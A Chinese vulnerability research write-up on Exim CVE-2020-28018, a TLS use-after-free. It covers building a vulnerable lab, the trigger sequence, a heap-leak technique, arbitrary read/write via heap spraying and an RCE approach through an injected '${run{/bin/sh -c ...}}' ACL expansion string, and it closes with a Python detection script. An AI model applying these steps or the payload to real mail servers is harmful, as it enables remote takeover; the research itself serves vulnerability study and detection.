作者:Hcamael@知道创宇404实验室
时间:2021年6月1日
前段时间Exim突然出现了好多CVE[1],随后没多久Github上也出现了对CVE-2020-28018
进行利用最后达到RCE的EXP和利用思路[2]。随后我也对该漏洞进行复现分析。
经过一段时间的环境搭建,漏洞复现研究后,发现该漏洞的效果是很不错的,基本能在未认证的情况下稳定利用。但限制也很多:
第一点还好,大部分都是默认开启的。但是第二点比较困难,因为我测试的两个系统debian/ubuntu,默认都是使用GnuTLS而不是OpenSSL。所以搭建环境的时候需要重新编译deb包。
第三点,测试debian和ubuntu的exp相差还是比较大的,不过后续研究发现是版本问题,如果不嫌麻烦,可以研究研究通杀的方法。Github公开的那个EXP不太行,我测试的两个版本都没戏,离能用的exp还相差比较多,当成探测的PoC还差不多。
先给一份Dockerfile
:
FROM ubuntu:18.04 RUN sed -i "s/archive.ubuntu.com/mirrors.ustc.edu.cn/g" /etc/apt/sources.list RUN sed -i "s/security.ubuntu.com/mirrors.ustc.edu.cn/g" /etc/apt/sources.list RUN apt update RUN mkdir /root/exim4 COPY *.deb /root/exim4/ COPY *.ddeb /root/exim4/ RUN dpkg -i /root/exim4/*.deb || apt --fix-broken install -y RUN dpkg -i /root/exim4/*.deb && dpkg -i /root/exim4/*.ddeb RUN sed -i "s/127.0.0.1 ; ::1/0.0.0.0/g" /etc/exim4/update-exim4.conf.conf RUN sed -i "1i\MAIN_TLS_ENABLE = yes" /etc/exim4/exim4.conf.template COPY exim.crt /etc/exim4/exim.crt COPY exim.key /etc/exim4/exim.key COPY exim_start /exim_start RUN update-exim4.conf && chmod +x /exim_start CMD ["/exim_start"]
其中crt
和key
的生成脚本如下:
#!/bin/sh -e if [ -n "$EX4DEBUG" ]; then echo "now debugging $0 $@" set -x fi DIR=/etc/exim4 CERT=$DIR/exim.crt KEY=$DIR/exim.key # This exim binary was built with GnuTLS which does not support dhparams # from a file. See /usr/share/doc/exim4-base/README.Debian.gz #DH=$DIR/exim.dhparam if ! which openssl > /dev/null ;then echo "$0: openssl is not installed, exiting" 1>&2 exit 1 fi # valid for three years DAYS=1095 if [ "$1" != "--force" ] && [ -f $CERT ] && [ -f $KEY ]; then echo "[*] $CERT and $KEY exists!" echo " Use \"$0 --force\" to force generation!" exit 0 fi if [ "$1" = "--force" ]; then shift fi #SSLEAY=/tmp/exim.ssleay.$$.cnf SSLEAY="$(tempfile -m600 -pexi)" cat > $SSLEAY <<EOM RANDFILE = $HOME/.rnd [ req ] default_bits = 1024 default_keyfile = exim.key distinguished_name = req_distinguished_name [ req_distinguished_name ] countryName = Country Code (2 letters) countryName_default = US countryName_min = 2 countryName_max = 2 stateOrProvinceName = State or Province Name (full name) localityName = Locality Name (eg, city) organizationName = Organization Name (eg, company; recommended) organizationName_max = 64 organizationalUnitName = Organizational Unit Name (eg, section) organizationalUnitName_max = 64 commonName = Server name (eg. ssl.domain.tld; required!!!) commonName_max = 64 emailAddress = Email Address emailAddress_max = 40 EOM echo "[*] Creating a self signed SSL certificate for Exim!" echo " This may be sufficient to establish encrypted connections but for" echo " secure identification you need to buy a real certificate!" echo " " echo " Please enter the hostname of your MTA at the Common Name (CN) prompt!" echo " " openssl req -config $SSLEAY -x509 -newkey rsa:1024 -keyout $KEY -out $CERT -days $DAYS -nodes #see README.Debian.gz*# openssl dhparam -check -text -5 512 -out $DH rm -f $SSLEAY chown root:Debian-exim $KEY $CERT $DH chmod 640 $KEY $CERT $DH echo "[*] Done generating self signed certificates for exim!" echo " Refer to the documentation and example configuration files" echo " over at /usr/share/doc/exim4-base/ for an idea on how to enable TLS" echo " support in your mail transfer agent."
exim_start
文件内容如下:
#!/bin/bash
/etc/init.d/exim4 start
/bin/bash
deb
包的编译方法如下所示(不仅仅是该Dockerfile,如果是使用debian环境,方法类似):
https://snapshot.debian.org/
下载存在漏洞的exim源码,ubuntu从https://launchpad.net/~ubuntu-security-proposed/+archive/ubuntu/ppa
上面进行下载。接下来的步骤都是假设在ubuntu系统中:
#!/bin/bash wget https://launchpad.net/ubuntu/+archive/primary/+sourcefiles/exim4/4.90.1-1ubuntu1.5/exim4_4.90.1.orig.tar.xz wget https://launchpad.net/ubuntu/+archive/primary/+sourcefiles/exim4/4.90.1-1ubuntu1.5/exim4_4.90.1-1ubuntu1.5.debian.tar.xz wget https://launchpad.net/ubuntu/+archive/primary/+sourcefiles/exim4/4.90.1-1ubuntu1.5/exim4_4.90.1-1ubuntu1.5.dsc dpkg-source --no-check -x exim4_4.90.1-1ubuntu1.5.dsc # /etc/apt/source.list 里面记得加上deb-src apt-get build-dep exim4 apt-get install --no-install-recommends devscripts cd exim4-4.90.1 perl -i -pe 's/^\s*#\s*OPENSSL\s*:=\s*1/OPENSSL:=1/' debian/rules dch -l +openssl 'rebuild with openssl' debian/rules binary
漏洞点位于tls-openssl.c
文件的tls_write
函数。
int tls_write(BOOL is_server, const uschar *buff, size_t len, BOOL more) { int outbytes, error, left; SSL *ssl = is_server ? server_ssl : client_ssl; static gstring * corked = NULL; DEBUG(D_tls) debug_printf("%s(%p, %lu%s)\n", __FUNCTION__, buff, (unsigned long)len, more ? ", more" : ""); /* Lacking a CORK or MSG_MORE facility (such as GnuTLS has) we copy data when "more" is notified. This hack is only ok if small amounts are involved AND only one stream does it, in one context (i.e. no store reset). Currently it is used for the responses to the received SMTP MAIL , RCPT, DATA sequence, only. */ if (is_server && (more || corked)) { corked = string_catn(corked, buff, len); if (more) return len; buff = CUS corked->s; len = corked->ptr; corked = NULL; } ... }
static gstring * corked = NULL;
变量存在UAF漏洞。
该函数是一个在建立了TLS??后,进行socket输出的函数。
当参数more的值为True的时候,表示后续还有输出,把当前的输出存起来,等到more为False的时候,再进行输出。之前的值存储在corked
这个staic
变量里面。只有当进行TLS输出的时候,才会把corked
变量赋值为NULL,进行释放。
审计一波代码,把目光放在smtp_printf
函数,基本都是靠该函数调用的tls_write
函数。
Exim处理用户输入的主函数是smtp_in.c
文件的smtp_setup_msg
函数。
int smtp_setup_msg(void) { ...... # MAIL FROM if (rc == OK || rc == DISCARD) { BOOL more = pipeline_response(); if (!user_msg) smtp_printf("%s%s%s", more, US"250 OK", #ifndef DISABLE_PRDR prdr_requested ? US", PRDR Requested" : US"", #else US"", #endif US"\r\n"); else { #ifndef DISABLE_PRDR if (prdr_requested) user_msg = string_sprintf("%s%s", user_msg, US", PRDR Requested"); #endif smtp_user_msg(US"250", user_msg); } ...... # RCPT TO if (rc == OK) { BOOL more = pipeline_response(); if (user_msg) smtp_user_msg(US"250", user_msg); else smtp_printf("250 Accepted\r\n", more); receive_add_recipient(recipient, -1); ......
审计了一波函数,发现只有MAIL FROM
和RCPT TO
指令处理成功后,并且开启了PIPELINE,并且后续还有输入的情况下,more才为TRUE。
单从上面说的这些看,这代码好像没啥问题。一开始我也看不出为啥这会造成UAF,随后研究了一下Github上的EXP,步骤如下:
<xxx>\nNO
最关键的在5,6,8步,下面堆这三步进行解释:
5.. 必须要让RCPT执行成功,所以可以发送RCPT TO: <postermaster>
,处理完RCPT的时候,进入tls_write
进行输出,因为more等于1,所以会把成功的输出字符串250 Accept\r\n
储存到corked
变量中。随后处理剩下的字符NO
,因为没接收到回车,所以继续等待输出。
6.. 但是这个时候我们把TLS信道关闭,切换回明文信道,但是却不会调用smtp_reset,把tls用的堆比如corked
给释放掉。因为进入了明文信道,随后的输出就不会再调用tls_write
函数了。
8.. 比如我们调用EHLO xxx,后续将会调用smtp_reset
函数,变量corked
指向的堆将会被回收。但是corked
的值却不会被设置为NULL。随后我们再次切换到TLS信道,随便输入一个命令,将会调用tls_write
进行输出,这个时候corked
不为空,但是其指向的堆却已经被释放。所以这就造成了UAF漏洞。
利用思路还是跟这篇文章写的一样[3],大致分为3步:
acl_check_mail
的位置。acl_check_mail:(condition = ${run{/bin/sh -c '%s'}})
其中最难的是第一步,利用UAF漏洞泄漏出任意堆地址。或者说这步是影响通杀的地方,后续的步骤我测试了两个版本,都可以用一个代码通杀,但是第一步还是没办法。
这里就来具体说说利用UAF进行堆泄漏的过程,不知道是不是我环境问题(我感觉环境没错),Github上的exp,是没办法进行堆泄漏的。所以后面我花了很长一段时间在研究/调试堆,所以后续我就按照自己的思路进行讲解。
前面固定步骤:
接下来就有区分度了:
MAIL FROM: <>\n
+ RCPT TO: <postmaster>
* n + "NO"MAIL FROM: <>\n
,在发送RCPT TO: <postmaster>
* n + "NO"不同的方式可以控制corked
地址的高低,但只能控制高低,却不能进行微调。
没有进行过多次测试,但是我估计n在exim 4.92+
上必须小于9。
理由如下:
corked是使用string_catn
函数进行堆分配的,所以是在第一次字符串长度的基础上加上127,因为要求MAIL和RCPT必须要成功,所以返回不是250 Accepted\r\n
就是250 OK\r\n
,长度都是在0x10以内,所以申请下来的堆长度基本是0x10字符串结构的头部 + 0x80 + 0x10 = 0x100,所以当n的值过大的时候,会根据新的长度进行新的堆分配申请。
在RCPT请求中,会调用string_sprintf
函数,我们来比较一下在exim4.90
和exim4.92
中这个函数的区别:
#define STRING_SPRINTF_BUFFER_SIZE (8192 * 4) # exim 4.90 uschar * string_sprintf(const char *format, ...) { va_list ap; uschar buffer[STRING_SPRINTF_BUFFER_SIZE]; va_start(ap, format); if (!string_vformat(buffer, sizeof(buffer), format, ap)) log_write(0, LOG_MAIN|LOG_PANIC_DIE, "string_sprintf expansion was longer than " SIZE_T_FMT "; format string was (%s)\nexpansion started '%.32s'", sizeof(buffer), format, buffer); va_end(ap); return string_copy(buffer); } uschar * string_copy(const uschar *s) { int len = Ustrlen(s) + 1; uschar *ss = store_get(len); memcpy(ss, s, len); return ss; } # exim 4.92 uschar * string_sprintf(const char *format, ...) { #ifdef COMPILE_UTILITY uschar buffer[STRING_SPRINTF_BUFFER_SIZE]; gstring g = { .size = STRING_SPRINTF_BUFFER_SIZE, .ptr = 0, .s = buffer }; gstring * gp = &g; #else gstring * gp = string_get(STRING_SPRINTF_BUFFER_SIZE); #endif gstring * gp2; va_list ap; va_start(ap, format); gp2 = string_vformat(gp, FALSE, format, ap); gp->s[gp->ptr] = '\0'; va_end(ap); if (!gp2) log_write(0, LOG_MAIN|LOG_PANIC_DIE, "string_sprintf expansion was longer than %d; format string was (%s)\n" "expansion started '%.32s'", gp->size, format, gp->s); #ifdef COMPILE_UTILITY return string_copy(gp->s); #else gstring_reset_unused(gp); return gp->s; #endif }
我最开始测试的就是exim4.92
,默认是没有定义COMPILE_UTILITY
。所以在这个版本中,每调用一次sprintf_smpt
就得store_get_3(0x8000)
,分配赋值之后,根据具体长度,调整next_yield
和yield_length
。但是随后测试的ubuntu18.04,用的就是exim4.90
,也就是使用多少分配多少。
这里简单说一下exim中的堆管理,如果理解不了,请阅读
store_get_3
源码 其实只要关注3个全局变量就好了: current_block/next_yield/yield_length 每次申请内存,都会和yield_length进行比较,如果小于,那就直接分配从next_yiled开始的堆,current_block是当前大堆(malloc的堆)地址,也就是yield_length + (next_yield-current_block) == current_block.length
如果请求的堆大于yield_length,则重新向malloc申请新的堆块,堆块的最小长度为0x4000,最大程度为申请的长度。旧堆块则会被放入chainbase,除非被释放,要不然是不会再被使用了。
如果n的值过大,因为之前有多个RCPT,则会调用多个sprintf_smpt
,那么就会调用非常多个store_get_3(0x8000)
,这个时候堆布局将会被拉扯的非常大非常大,那这个时候string_catn
申请的新堆块将会在非常后面。
在我实际测试的过程中发现,当调用smtp_reset的时候,过大的堆都会在内存中被释放。也就是该地址变为了不可访问的地址。在EXP的表现就会变为在最后NOOP的时候,程序会crash。
因为exim处理请求都是fork出来的子进程处理的,就是crash了。也不影响主进程,所以没啥用,连dos都做不到。
到这里为止,我们主要是对corked的地址进行选择(选择题,感觉是没法变为填空题)。
接下来:
接下来又有多种选择:
有以下几种命令可以调用:
顺序啥的都是自己自由调整,但是最开始最好得有一个调用reset的命令,因为这样才能让corked的堆进入释放的状态,后续我们才能用其他命令覆盖该堆地址的内容。
具体顺序各位可以自己自行调整,答案不唯一。我就分享一下我的经验:
因为我们的目的是泄漏出堆地址,所以我们得让堆地址出现在corked
的有效区域内,这个时候就有两种方法:
string_get
这类有指针函数的结构,不过我在调试的过程中只找到这一个。该结构的首地址必须要高于corked
,这样输出corked
的时候,就能把这个结构的指针泄漏出来。corked->ptr
的大小,只要变的足够大,总能泄漏出堆地址。Github的exp使用的是第一种方法,但是我使用的是第二种方法。
因为在我的研究中,好像做不到第一种情况,如果要做到第一种情况,会把corked的指针覆盖掉,所以就算在后面写了指针也没用。
不过后面研究exim4.90
的时候猜测,也许Github的环境是设置了COMPILE_UTILITY
。
在这个时候,不会有一堆store_get_3(0x8000)
捣乱,那么当string_catn
扩展堆的时候,堆指针和指针指向的值就不连续了,这样在覆盖值的时候就不会影响到指针了。
(:不过这都不重要了,反正我也研究出了思路2的exp。
思路2可以找一个命令,这个命令最后一个分配的堆块有可控的命令。比如我找的就是RCPT TO
,可以这样构造:RCPT TO: <a*x@b*n\x20\\x1f>
目的是要把corked->ptr
设置为0x4120, 这样就能泄漏出0x4120长度的字符串了。基本上会存在堆地址的,如果不存在,就是你的ptr不够大。不过这里要注意,ptr+字符串指针,别超出有效地址范围。
说完了UAF利用,能泄漏出堆地址后,你就踏出了最重要的一步,比如研究堆泄漏需要花你90%的时间,那研究任意读和任意写只要花5%的时间。
任意读就很简单了,把Github的拿出来改改大部分都能用。思路就是堆喷,喷到corked
的结构上,把字符串指针改成你想泄漏的地址。长度也就随便改改,比如0x1000。如果没喷上,就调试一下,搜一下喷上的地址区间,然后在改改最开始的poc,让corked
的地址凑上去,凑不上去,就是你喷的不够大,只要足够大,总能凑上去的。
因为喷的数据有不可显字符,所以也只能用DATA命令来进行堆喷了。
而任意写前面和任意读一样,都是通过堆喷,覆盖corked
的内容到你想写的地址。但是最后有一点不一样,使用的是MAIL FROM: cmd
,这样tls_write
将会输出501 cmd: missing or malformed local part (expected word or \"<\")\r\n
然后会调用string_catn
往corked
指向的地址写入上述的字符串。
因为用了堆喷,所以我觉得任意读和任意写的代码是可以通杀的。
最后的RCE思路,以前的exim就出现过了,就是利用acl_check
函数,调用expand_string
来进行命令执行。
在调用MAIL FROM
的时候,acl_check
会调用expand_string("acl_check_mail")
,所以我们可以堆上搜索这个字符串的位置,把该值换成我们想执行的命令,最后让它变成调用expand_string("acl_check_mail:(condition = ${run{/bin/sh -c '%s'}})")
,这样在最后把NOOP
换成MAIL FROMM
,就能RCE了。
最后分享一个探测脚本吧:
def _verify(self): result = {} self.normalize_url() # To establish socket socket.setdefaulttimeout(5) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((self.ip, self.port)) # To establish ssl context = ssl._create_unverified_context() # check server header = sock.recv(1024) while True: if b"ESMTP Exim 4.9" not in header: break sock.send(b"EHLO hh\r\n") data = sock.recv(1024) if b"250-STARTTLS\r\n" not in data or b"250-PIPELINING" not in data: break sock.send(b"STARTTLS\r\n") data = sock.recv(1024) if b"220 TLS go ahead" not in data: break tls_s = context.wrap_socket(sock, server_hostname=self.ip) # TLS mode tls_s.send(b"EHLO hh\r\n") data = tls_s.recv(1024) if b"HELP\r\n" not in data: break tls_s.send(b"MAIL FROM: <>\r\n") data = tls_s.recv(1024) if b"OK\r\n" not in data: break rcpt_data1 = b"RCPT TO: <postmaster>\r\n" for i in range(6): rcpt_data1 += b"RCPT TO: <postmaster>\r\n" rcpt_data1 += b"NO" tls_s.send(rcpt_data1) socket.setdefaulttimeout(1) try: tls_s.unwrap() except socket.timeout: pass socket.setdefaulttimeout(5) tls_s._sslobj = None # plaintext mode sock = tls_s sock.send(b"OP\r\n") data = sock.recv(1024) if b"OK\r\n" not in data: break sock.send(b"EHLO hh\r\n") data = sock.recv(1024) if b"HELP\r\n" not in data: break sock.send(b"STARTTLS\r\n") data = sock.recv(1024) if b"220 TLS go ahead" not in data: break tls_s = context.wrap_socket(sock, server_hostname=self.ip) # TLS mode tls_s.send(b"NOOP\r\n") # fd.interactive() data = tls_s.recv(1024) if b"250 Accepted" in data: result["VerifyInfo"] = {} result['VerifyInfo']["Target"] = self.ip result['VerifyInfo']["Port"] = self.port result['VerifyInfo']["INFO"] = header break return self.parse_output(result)
已经有提权的EXP了,Debian-exim
用户通过写/etc/passwd
来进行提权。
最后分享一下RCE + 提权的效果图:
复现这个漏洞,最花时间的还是在调试泄漏的堆上,其次就是折腾环境。再下来就是折腾python进行TLS wrap的问题了。
遇到一个坑点,在debian上,调用ssl.unwrap没问题,但是在ubuntu上就会卡死。
搜了半天在网上没找到答案,最后使用strace
进行调试,发现python在unwrap后估计还在等服务器回应,但是服务器不会,所以IO就卡住了。但是这个时候只要客户端发送一个SHUTDOWN包,就能结束TLS信道,切换回明文信道了。
所以只要在调用unwrap的时候设置一个超时就好了。如果是写C的就没这些烦恼了。
期间还尝试了直接用python调用C的API,可以是可以,但是太麻烦了。
这里简单的分享一下,用python调用C的SSL API:
from cryptography.hazmat.bindings.openssl.binding import Binding binding = Binding() lib = binding.lib _FFI = binding.ffi no_zero_allocator = _FFI.new_allocator(should_clear_after_alloc=True) lib.SSL_library_init() lib.OpenSSL_add_all_algorithms() lib.SSL_load_error_strings() method = lib.TLSv1_2_client_method() ctx = lib.SSL_CTX_new(method) tls_s = lib.SSL_new(ctx) lib.SSL_set_fd(tls_s, sock.fileno()) lib.SSL_set_connect_state(tls_s) ret = lib.SSL_do_handshake(tls_s) # pause() if ret: ret = lib.SSL_write(tls_s, b"HELP\r\n", 6) if ret >= 0: buf = no_zero_allocator("char []", 0x1000) ret = lib.SSL_read(tls_s, buf, 0x1000) data = _FFI.buffer(buf, ret) print(data[:]) lib.SSL_shutdown(tls_s)
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1595/